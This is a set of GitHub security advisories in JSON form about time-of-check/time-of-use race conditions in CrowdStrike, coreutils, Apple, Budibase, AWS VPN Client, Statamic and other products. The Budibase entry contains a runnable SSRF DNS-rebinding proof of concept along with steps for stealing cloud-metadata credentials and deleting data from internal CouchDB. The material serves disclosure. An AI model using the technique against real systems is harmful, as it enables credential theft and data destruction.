CWE-367

{
  "affected": [],
  "aliases": [
    "CVE-2025-42701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-08T18:15:34Z",
    "severity": "MODERATE"
  },
  "details": "A race condition exists in the Falcon sensor for Windows that could allow an attacker, with the prior ability to execute code on a host, to delete arbitrary files. CrowdStrike released a security fix for this issue in Falcon sensor for Windows versions 7.24 and above and all Long Term Visibility (LTV) sensors.\n\n\nThere is no indication of exploitation of these issues in the wild. Our threat hunting and intelligence team are actively monitoring for exploitation and we maintain visibility into any such attempts. \n\n\nThe Falcon sensor for Mac, the Falcon sensor for Linux and the Falcon sensor for Legacy Systems are not impacted by this.\n\nCrowdStrike was made aware of this issue through our HackerOne bug bounty program. It was discovered by Cong Cheng and responsibly disclosed.",
  "id": "GHSA-rxj5-2xg2-3qmw",
  "modified": "2025-10-08T18:30:16Z",
  "published": "2025-10-08T18:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42701"
    },
    {
      "type": "WEB",
      "url": "https://www.crowdstrike.com/en-us/security-advisories/issues-affecting-crowdstrike-falcon-sensor-for-windows"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "coreutils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-30T17:10:01Z",
    "nvd_published_at": "2026-04-22T17:16:37Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-239g-2685-54x3. This link is maintained to preserve external references.\n\n### Original Description\nThe install utility in uutils coreutils is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition during file installation. The implementation unlinks an existing destination file and then recreates it using a path-based operation without the O_EXCL flag. A local attacker can exploit the window between the unlink and the subsequent creation to swap the path with a symbolic link, allowing them to redirect privileged writes to overwrite arbitrary system files.",
  "id": "GHSA-v24v-f45g-w7jf",
  "modified": "2026-07-06T19:54:01Z",
  "published": "2026-04-22T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35355"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/pull/10067"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/commit/b5bbabc18a1121908848d836f869a4e98eb63886"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uutils/coreutils"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/releases/tag/0.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: uutils coreutils has a Time-of-Check to Time-of-Use (TOCTOU) race condition",
  "withdrawn": "2026-07-06T19:54:01Z"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-38418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T17:15:17Z",
    "severity": "HIGH"
  },
  "details": "Memory corruption while parsing the memory map info in IOCTL calls.",
  "id": "GHSA-v24x-73f9-v4j3",
  "modified": "2025-02-03T18:30:42Z",
  "published": "2025-02-03T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38418"
    },
    {
      "type": "WEB",
      "url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/february-2025-bulletin.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-48618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-09T18:15:45Z",
    "severity": "HIGH"
  },
  "details": "The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.1, watchOS 9.2, iOS 16.2 and iPadOS 16.2, tvOS 16.2. An attacker with arbitrary read and write capability may be able to bypass Pointer Authentication. Apple is aware of a report that this issue may have been exploited against versions of iOS released before iOS 15.7.1.",
  "id": "GHSA-v2rr-hhf4-8739",
  "modified": "2025-10-22T00:32:58Z",
  "published": "2024-01-09T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48618"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213530"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213532"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213535"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213536"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-48618"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-41360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-23T22:16:43Z",
    "severity": "MODERATE"
  },
  "details": "OpenClaw before 2026.4.2 contains an approval integrity vulnerability in pnpm dlx that fails to bind local script operands consistently with pnpm exec flows. Attackers can replace approved local scripts before execution without invalidating the approval plan, allowing execution of modified script contents.",
  "id": "GHSA-v3p7-858r-pr8m",
  "modified": "2026-04-24T00:31:52Z",
  "published": "2026-04-24T00:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6wx-jq6j-6mcj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41360"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/176c059b05357df1bc09d4328a2380670859eeff"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-approval-integrity-bypass-in-pnpm-dlx-local-script-binding"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-32267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-15T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "DMA transactions which are targeted at input buffers used for the SmmResourceCheckDxe software SMI handler cause SMRAM corruption (a TOCTOU attack) DMA transactions which are targeted at input buffers used for the software SMI handler used by the SmmResourceCheckDxe driver could cause SMRAM corruption through a TOCTOU attack... This issue was discovered by Insyde engineering. Fixed in kernel Kernel 5.2: 05.27.23. Kernel 5.3: 05.36.23. Kernel 5.4: 05.44.23. Kernel 5.5: 05.52.23 https://www.insyde.com/security-pledge/SA-2022046",
  "id": "GHSA-v3w9-w5cx-hw5m",
  "modified": "2022-11-18T18:30:25Z",
  "published": "2022-11-15T12:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32267"
    },
    {
      "type": "WEB",
      "url": "https://www.insyde.com/security-pledge"
    },
    {
      "type": "WEB",
      "url": "https://www.insyde.com/security-pledge/SA-2022046"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:44:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nBudibase\u0027s central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.\n\nThe REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**\u0027s `fetch`. undici does not support the Node `agent` option \u2014 it is silently ignored \u2014 and instead uses its own `dispatcher`, which re-resolves the hostname\u0027s DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.\n\nAn authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services \u2014 cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints \u2014 reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.\n\n\n### Details\n**The guard pins the validated IP via a Node agent** \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:\n\n- `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39\u201353).\n- `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55\u201368).\n- `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186\u2013192). Each redirect hop is re-validated and re-pinned in the loop.\n\n**The REST integration overrides the transport with undici, which ignores `agent`** \u2014 `packages/server/src/integrations/rest.ts`:\n\n- `fetch` is imported from **`undici`** (top-of-file import block, ~line 30).\n- The request is made by overriding `fetchFn` (lines ~767\u2013793):\n  ```ts\n  const setDispatcher = (requestInput, requestUrl) =\u003e ({\n    ...requestInput,\n    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),\n  })\n  ...\n  response = await coreUtils.fetchWithBlacklist(url, input, {\n    fetchFn: async (requestUrl, requestInput) =\u003e\n      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch\n  })\n  ```\n  The options object reaching `undici.fetch` is `{ ...nextRequest, agent: \u003cpinned Node Agent\u003e, dispatcher: \u003cgetDispatcher result\u003e }`. **undici uses `dispatcher` and ignores `agent`.**\n\n**The dispatcher does no IP pinning** \u2014 `packages/backend-core/src/utils/fetch.ts`:\n\n- `getDispatcher` \u2192 `createDispatcher` \u2192 (no proxy env) \u2192 `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109\u2013114, ~161\u2013172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname\u0027s DNS itself at connect time.\n\n**Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname \u2192 safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service \u2014 exactly the gap CVE-2026-54353\u0027s pin was meant to close.\n\n**Scope of impact / why it\u0027s REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract\u0027s `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).\n\n### PoC\nThe PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim \u2014 sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+.\n\n```bash\n# prerequisite: a Budibase checkout; set BB to its path\nexport BB=/path/to/budibase\nmkdir ssrf-poc \u0026\u0026 cd ssrf-poc\nSRC=\"$BB/packages/backend-core/src\"\n\n# 1) Copy the REAL guard code, verbatim (sha proves no edits)\nmkdir -p real/utils real/blacklist\ncp \"$SRC/utils/outboundFetch.ts\" real/utils/\ncp \"$SRC/utils/fetch.ts\"         real/utils/\n\n# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP\ncat \u003e real/blacklist/index.ts \u003c\u003c\u0027EOF\u0027\nconst SAFE = \"203.0.113.10\" // RFC5737 TEST-NET-3, not blacklisted -\u003e validation passes\nexport async function resolveAddress(_a: string): Promise\u003cstring[]\u003e { return [SAFE] }\nexport async function isBlacklisted(a: string): Promise\u003cboolean\u003e { return a !== SAFE }\nEOF\n\n# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern\ncat \u003e entry.ts \u003c\u003c\u0027EOF\u0027\nimport http from \"http\"\nimport { fetch as undiciFetch } from \"undici\"\nimport { fetchWithBlacklist } from \"./real/utils/outboundFetch\" // REAL guard\nimport { getDispatcher } from \"./real/utils/fetch\"              // REAL dispatcher\nasync function main() {\n  const server = http.createServer((_q, r) =\u003e r.end(\"INTERNAL_SECRET_RESPONSE\"))\n  await new Promise\u003cvoid\u003e(r =\u003e server.listen(0, \"127.0.0.1\", r))\n  const port = (server.address() as any).port\n  const target = `http://localhost:${port}/` // OS resolves localhost -\u003e 127.0.0.1 at connect\n  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -\u003e 203.0.113.10 (safe), pins to it`)\n\n  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).\n  const restFetchFn = (u: string, i: any) =\u003e\n    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any\n  let A: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { A = `ERROR ${e.message}` }\n  console.log(\"(A) REST/undici path  -\u003e\", A)\n\n  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.\n  let B: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { B = `ERROR ${e.message}` }\n  console.log(\"(B) node-fetch path   -\u003e\", B)\n\n  const bypass = A.includes(\"INTERNAL_SECRET_RESPONSE\"), contained = !B.includes(\"INTERNAL_SECRET_RESPONSE\")\n  console.log(`\\nRESULT: ${bypass \u0026\u0026 contained ? \"PASS - undici path BYPASSES guard, node-fetch path CONTAINED\" : \"FAIL\"}`)\n  server.close(); process.exit(bypass \u0026\u0026 contained ? 0 : 1)\n}\nmain()\nEOF\n\n# 4) Deps, bundle, run\nnpm init -y \u003e/dev/null 2\u003e\u00261\nnpm install undici@6 node-fetch@2 esbuild\nnpx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs\nnode entry.cjs\n```\n\n**Expected output** (the port is the only variable):\n\n```\n[*] internal service 127.0.0.1:\u003crandom\u003e; guard validates host -\u003e 203.0.113.10 (safe), pins to it\n(A) REST/undici path  -\u003e status 200 body=INTERNAL_SECRET_RESPONSE\n(B) node-fetch path   -\u003e ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:\u003crandom\u003e/\n\nRESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED\n```\n\n**How to read it:**\n- **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` \u2014 the internal service responded \u2192 **SSRF bypass**.\n- **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `\"Failed to connect to resolved IP for localhost\"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport.\n\n**Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard\u0027s validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici\u0027s connect-time lookup; the REST datasource query then returns the internal response body to the attacker.\n\n### Impact\n**Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).\n\n**Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.\n\n**Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:\n- read cloud metadata (`http://169.254.169.254/...`) \u2192 steal IAM credentials \u2192 **cloud account compromise**;\n- read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) \u2192 **all tenants\u0027 apps, users, and secrets**;\n- using `PUT`/`POST`/`DELETE` against unauthenticated localhost services \u2192 create admin documents, modify or **delete** tenant databases / flush caches \u2192 integrity and availability loss for all co-tenants.\n\n### CVSS 3.1 Vector Justification\n\n| Metric | Value | Why |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | Triggered through Budibase\u0027s HTTP API / app (a REST datasource query). |\n| Attack Complexity (AC) | High (H) | Requires DNS rebinding \u2014 the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. |\n| Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). |\n| User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. |\n| Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). |\n| Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant\u0027s apps, users, secrets). |\n| Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) \u2192 create admin docs, modify tenant data. |\n| Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis \u2192 full data/service loss for all tenants. |\n\n**Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation  is `I:N/A:N`.\n\n### Suggested remediation\n\nMake the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.",
  "id": "GHSA-v42f-v8xc-j435",
  "modified": "2026-08-12T19:22:50Z",
  "published": "2026-07-24T21:44:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/1fecb3fc3497e8db7b60b42cc514ce304ffe3a41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/586802b5706367520d14245e18a7d0cabab0be11"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via DNS rebinding in the REST datasource integration"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-25165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-14T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Amazon AWS VPN Client 2.0.0. A TOCTOU race condition exists during the validation of VPN configuration files. This allows parameters outside of the AWS VPN Client allow list to be injected into the configuration file prior to the AWS VPN Client service (running as SYSTEM) processing the file. Dangerous arguments can be injected by a low-level user such as log, which allows an arbitrary destination to be specified for writing log files. This leads to an arbitrary file write as SYSTEM with partial control over the files content. This can be abused to cause an elevation of privilege or denial of service.",
  "id": "GHSA-v46m-w3jc-vmr2",
  "modified": "2022-04-22T00:00:53Z",
  "published": "2022-04-15T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RhinoSecurityLabs/CVEs"
    },
    {
      "type": "WEB",
      "url": "https://rhinosecuritylabs.com/aws/cve-2022-25165-aws-vpn-client"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-29833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-13T17:15:53Z",
    "severity": "HIGH"
  },
  "details": "Time-of-check time-of-use (toctou) race condition in Windows Virtual Machine Bus allows an authorized attacker to execute code over a network.",
  "id": "GHSA-v54c-h56f-jw8m",
  "modified": "2025-05-13T18:30:54Z",
  "published": "2025-05-13T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29833"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29833"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "statamic/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.73.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "statamic/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.20.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:03:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe Glide image proxy\u0027s URL validation could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname\u0027s DNS could rebind it to an internal address after validation. This could cause the server to make HTTP requests to internal addresses \u2014 including loopback, private network, and cloud metadata endpoints.\n\nThis affects sites that pass user-supplied URLs to Glide.\n\n\n### Patches\n\nThis has been fixed in 5.73.24 and 6.20.1.",
  "id": "GHSA-v5c4-wcpj-x73m",
  "modified": "2026-06-26T23:03:29Z",
  "published": "2026-06-26T23:03:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/statamic/cms/security/advisories/GHSA-v5c4-wcpj-x73m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/statamic/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Statamic Vulnerable to Server-Side Request Forgery via Glide (DNS rebinding)"
}